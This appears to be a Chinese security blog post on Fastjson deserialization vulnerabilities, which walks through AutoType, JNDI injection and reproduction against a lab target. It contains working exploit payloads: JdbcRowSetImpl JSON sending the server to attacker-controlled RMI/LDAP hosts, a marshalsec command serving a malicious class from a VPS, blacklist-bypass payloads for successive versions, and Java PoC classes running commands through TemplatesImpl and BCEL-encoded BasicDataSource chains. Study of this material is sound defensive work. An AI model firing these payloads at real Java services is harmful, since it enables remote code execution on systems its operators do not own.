浅谈Fastjson 反序列化漏洞

Fastjson 1.2.24-RCE(CVE-2017-18349)

前置知识

Fastjson

阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

举个例子:

public class User {
    private String name;
    private int age;
    // getter / setter
}

序列化后:

{
  "name": "Tom",
  "age": 20
}

指纹特征

  1. 根据返回包判断:抓个包,提交方式改为POST,输入错入的json格式(花括号不闭合等),返回体里面出现fastjson字样。(可以屏蔽)
  2. 利用DNSlog盲打:构造以下payload,利用sdnslog平台接收

    1.2.67版本后payload

    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
    
    POST / HTTP/1.1
    Host: 192.168.72.128:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json
    Content-Length: 71
    
    {"tthhh6868":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}

java站并且传的数据是JSON格式的都可以尝试

AutoType

fastjson在序列化的过程中没有使用java自带的序列化机制,而是自定义了一套机制

Java 自带的序列化方式是把对象变成字节流(可以写入文件、网络传输),但这种方式不灵活、数据结构不透明。

Fastjson 用的是自己定义的一套序列化机制,更轻量、更易读。

对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

  • 基于属性:直接拿到类的字段,通过反射读取
  • 基于setter/getter:通过调用 getXxx() 方法获取值
不同框架的做法:
框架 方式 说明
Fastjson 基于 getter 会遍历类中的所有 getXxx() 方法来获取值
Jackson 也基于 getter 同 Fastjson
Gson 基于属性 直接读取字段,而不是通过 get 方法

Fastjson 的类型擦除问题

假设有个接口:

public interface Animal {
    void eat();
}

public class Dog implements Animal {
    private String name;
    // getter/setter
}

当你序列化一个 Dog 对象成 JSON 时,Fastjson 默认只保留 Animal 接口类型的信息,原始类型(Dog)就“抹去了”。

这样在反序列化的时候,Fastjson 就不知道该用哪个具体类去还原,就还原失败了。

引出 autoType 的必要性

为了解决这个问题,Fastjson 提供了一个配置项:

SerializerFeature.WriteClassName

这个选项开启后,Fastjson 会在序列化的时候自动加入 @type 字段,标注对象的原始类型。

{
  "@type": "com.example.Dog",
  "name": "旺财"
}

这样反序列化时,Fastjson 就能根据 @type 指定的类名,创建出正确的 Dog 对象。

autoType 带来的安全问题

问题来了!

攻击者可以伪造 JSON 字符串,在里面写上任意的 @type,让服务端创建一个攻击用的类。

JNDI注入

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

  • 命名服务:用来 给对象取名字,并通过名字访问对象 的一种机制。
  • 目录服务:不仅可以通过名字查对象,还能查“对象的属性信息”

lookup( )函数

  • lookup() 方法的作用是:从远程服务中获取一个对象引用
  • 它的参数就是对象在远程服务中的“名字”(比如 RMI 注册表中的名称)

这本来是为企业服务准备的,比如找数据库、找服务对象等,但一旦这个参数被用户控制,就存在大风险

RMI

RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

LDAP

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。

JdbcRowSetImpl 利用链

利用链核心类:com.sun.rowset.JdbcRowSetImpl

这是 JDK 自带的一个类,实现了 javax.sql.RowSet 接口,本意是为了远程数据库访问。

这个类有两个关键属性:

属性 对应 setter 方法 特殊点
dataSourceName setDataSourceName(String) 会被传给 lookup()
autoCommit setAutoCommit(boolean) 会触发 connect(),间接触发 lookup()

攻击流程图解

sql复制编辑1. 设置 @type 为 JdbcRowSetImpl
2. 设置 dataSourceName = "rmi://attacker.com:1099/Exploit"
     ↓
3. Fastjson 自动调用 setDataSourceName()
     → 内部存储这个 RMI 地址
4. 设置 autoCommit = true
     ↓
5. Fastjson 自动调用 setAutoCommit(true)
     → 内部调用 connect()
         → connect() 中调用 lookup(dataSourceName)
             → 触发 JNDI 请求:RMI 远程加载类
                 → 远程服务器返回恶意类或序列化对象
                     → 触发本地代码执行(RCE)
注意事项:
  1. 顺序要对:
    • dataSourceName 必须在 autoCommit 之前,确保先设置完 lookup 所需地址,再调用 connect。
  2. rmi/ldap 地址尾部 /Exploit 是类名:
    • lookup() 方法中会把这个字符串提取出来当作需要获取的类名或对象名(RMI Registry 中的名字)。

image-20230416120023552

漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,autoType标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

在fastjson中我们使用 JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

漏洞复现

  1. 启动靶场:运行靶场后,访问8090端口(默认),即可看到JSON格式输出

    image-20250415143715577

  2. 攻击准备环节:
    1. 构造恶意代码,并将其上传到攻击vps上,并编译

      注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了

    image-20250415143848085

    1. 利用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 xxx.class
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://
      yourvps-ip.com/#xxx" 9999

      image-20250415144244223

  3. 执行攻击环节:

    向目标服务器发送包含RMI地址的payload

image-20250415144453285

  1. 攻击成功

    image-20250415144605201

Fastjson 1.2.47-RCE(CNVD‐2019‐22238

到了 1.2.47,Fastjson 加入了更严格的 AutoType 白名单机制,限制了某些类的直接反序列化。此时:

  • com.sun.rowset.JdbcRowSetImpl 不再在默认的 AutoType 白名单中。
  • 无法直接出现在根对象的 @type 字段中
  • 但!它仍然可以作为反射加载的“子类型”出现在非白名单类的属性中 —— 于是出现了 两级构造绕过方式

漏洞原理

大致跟1.2.24版本一致,只是因为新增了白名单机制,所以payload需要采用“双阶段绕过”技巧,来进行执行攻击

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx.com:9999/Exploit",
        "autoCommit":true
    }
}

这一组合能够成功绕过 AutoType 的限制,是因为:

  • 在反序列化 "a" 时,Fastjson 将 val 解析为 Class 对象,相当于“热加载”了目标类
    • Fastjson有个逻辑细节:
    • 一旦某个类在运行时通过某种方式加载过(比如作为字段类型反射出来了),它就会“缓存”到类型映射里,之后再使用这个类时,不会再检查白名单!
    • 这就是所谓的“热加载”绕过
  • 这样 "b" 的反序列化就不会再触发 AutoType 阻止;
  • JdbcRowSetImplsetDataSourceName() 会自动发起 JNDI 连接,导致 RCE。

a 部分:

"a": {
  "@type": "java.lang.Class",
  "val": "com.sun.rowset.JdbcRowSetImpl"
}
  • 用来提前加载目标类 JdbcRowSetImpl
  • 有些版本 Fastjson 对不在白名单中的类,在你显式写成字符串 + 类型转换时,反而会允许加载(而非 @type 直写)。

b 部分:

"b": {
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  ...
}
  • 实际构造目标对象。
  • JdbcRowSetImpl 是一个常见的 JNDI 注入入口,它在反序列化后会执行 setDataSourceName(),从而触发 rmi://... 远程加载类。

漏洞复现

和1.2.24大致一样,故略

其余版本漏洞

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

fastjson<=1.2.41

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名在加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

{           
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",              "dataSourceName":"rmi://xxx:9999/exploit",
    "autoCommit":true
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法:在类名外部嵌套两层L和;。

原类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;

fastjson<=1.2.45

{  "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
 "properties":{
        "data_source":"ldap://localhost:1389/Exploit"
    }
}

fastjson<=1.2.62

{
    "@type":"org.apache.xbean.propertyeditor.JndiConverter",
 "AsText":"rmi://x.x.x.x:9999/exploit"
}";

fastjson<=1.2.66

下面是多个exp:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}

Fastjson 不出网利用

利用前提

不出网,许多POC中利用JNDI远程加载外部类的方法就无法使用了,不出网的利用需要无需加载类可通过类属性加载

另一个前提就是获取命令的执行结果,可以将结果写入到web目录,访问该文件获取结果,但更优雅的方式是获取response,将结果从响应信息中输出。

攻击链

目前公开且较为通用的不出网利用链有两条:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

TemplatesImpl 利用链

TemplatesImpl 是 Java 内置的一个类,它在被调用 newTransformer() 方法时会自动加载 _bytecodes 字节码并执行构造函数中的恶意代码。

利用反射、getter、toString()hashCode() 等方法间接调用 newTransformer()

  • 利用 JDK 内置的类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • 利用条件较高:需要开启 Feature.SupportNonPublicField
  • 通常用来执行任意命令,如弹计算器(cmd /c calc

BasicDataSource 利用链

BasicDataSource 是 Apache Commons DBCP(数据库连接池)中的一个类,用于配置数据库连接

只需要有dbcptomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,是挺常见的。

  • 利用类:org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  • 要求环境中存在 Tomcat 的 dbcp 库(即 tomcat-dbcp.jar
  • SpringBoot 默认不带该库,需要手动引入
  • 对版本有要求:
    • Tomcat 8.0 以前:dbcp.BasicDataSource
    • Tomcat 8.0 以后:dbcp2.BasicDataSource

具体操作

TemplatesImpl 利用链

这种情况实战中很少遇到,仅供参考。(前提:需要开启Feature.SupportNonPublicField

Feature.SupportNonPublicField是 Fastjson 中的一个配置项(Feature),中文理解就是:“支持反序列化非 public 修饰的字段”

在默认情况下,Fastjson 只会反序列化 public 修饰的字段,而不会处理 privateprotected 或包级别的字段。但是某些 Java 类(比如反序列化利用中常用的 TemplatesImpl)的关键字段都是 private 的,这时候,如果你不手动开启 SupportNonPublicField,Fastjson 是不会给这些字段赋值的。

  • 先写个poc:继承 AbstractTranslet 并在构造函数执行 Runtime.getRuntime().exec(...)
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    
    public class Calc extends AbstractTranslet {
    
      // 构造函数:在实例化时执行系统命令打开计算器
      public Calc() throws IOException {
          Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
      }
    
      // 覆盖 transform 方法(未实现具体逻辑)
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
          // 空实现
      }
    
      // 覆盖 transform 方法(未实现具体逻辑)
      @Override
      public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) 
              throws TransletException {
          // 空实现
      }
    
      // 主方法:创建 Calc 类的实例以触发构造函数中的命令执行
      public static void main(String[] args) throws Exception {
          Calc t = new Calc();
      }
    }
  • 编译成class文件,并用python脚本转化为base64编码
  • 构造payload
    {
    "a": {
      "@type": "java.lang.Class",
      "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "b": {
      "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
      "_bytecodes": ["BASE64编码的class"],
      "_name": "x.y",
      "_tfactory": {},
      "_outputProperties": {}
    }
    }
    • “_bytecodes”:放入一个恶意类的字节码,并使用 Base64 编码,在这里放入字符串形式。Fastjson 反序列化时会自动将其转换为字节数组,然后在 newTransformer() 调用时加载执行
    • “_name”:这个字段无特别含义,只是让类初始化不报错。必须存在,不然 TemplatesImpl 会抛异常。
    • “_tfactory”:这个字段的类型是 TransformerFactory,可以为空的对象,目的是为了让构造出来的对象合法(不抛 NullPointerException)。
    • “_outputProperties”:和 _tfactory 一样,也是为了构造出一个“合法但带毒”的 TemplatesImpl 实例。

BasicDataSource 利用链

通过构造一个伪造的数据源对象,在其初始化或连接数据库时触发反射调用,实现恶意类加载,最终导致命令执行。

  • 准备poc
    public class Poc {
      // 静态初始化块:类加载时执行命令
      static {
          try {
              // 执行系统命令打开计算器
              Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
          } catch (Exception e) {
              // 异常处理(此处为空,可根据需要扩展)
          }
      }
    }
  • 编译得到class文件,用jdk8u112生成BCEL编码
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import java.nio.file.*;
    
    public class Gen {
      public static void main(String[] args) throws Exception {
          byte[] bytes = Files.readAllBytes(Paths.get("xxx.class"));
          String bcel = Utility.encode(bytes, true);
          System.out.println("$BCEL$" + bcel);
      }
    }
  • 构造payload
    {
    "a": {
      "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
      "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
      },
      "driverClassName": "$BCEL$...恶意类的BCEL编码..."
    }
    }
    • 此时 fastjson 会:
    1. 实例化 BasicDataSource
    2. 赋值 driverClassLoader 为 BCEL 的 ClassLoader
    3. 设置 driverClassName 为你的恶意类(BCEL 编码)
    • 反序列化完还不会直接执行代码,必须触发连接池的初始化过程
    BasicDataSource ds = (BasicDataSource) fastjson反序列化返回的对象;
    ds.getConnection();  // 触发漏洞
    1. 这个方法内部调用了createDataSource(),而这个过程会尝试加载并初始化 JDBC 驱动:
      Class.forName(driverClassName, true, driverClassLoader)

      这句代码的效果是:

      用你提供的 driverClassLoader 来加载 driverClassName

    • 当类名以 $$BCEL$$ 开头时,com.sun.org.apache.bcel.internal.util.ClassLoader 会认为它是 BCEL 编码,会先解码出字节码、再 defineClass、然后加载这个类。

    加载类 → 类被初始化 → 执行其中 static 代码块 或 构造函数:

回显方法

  1. 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
  2. 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
  3. 直接将命令执行结果回显到请求Poc的HTTP响应中。

发表评论

This site uses Akismet to reduce spam. Learn how your comment data is processed.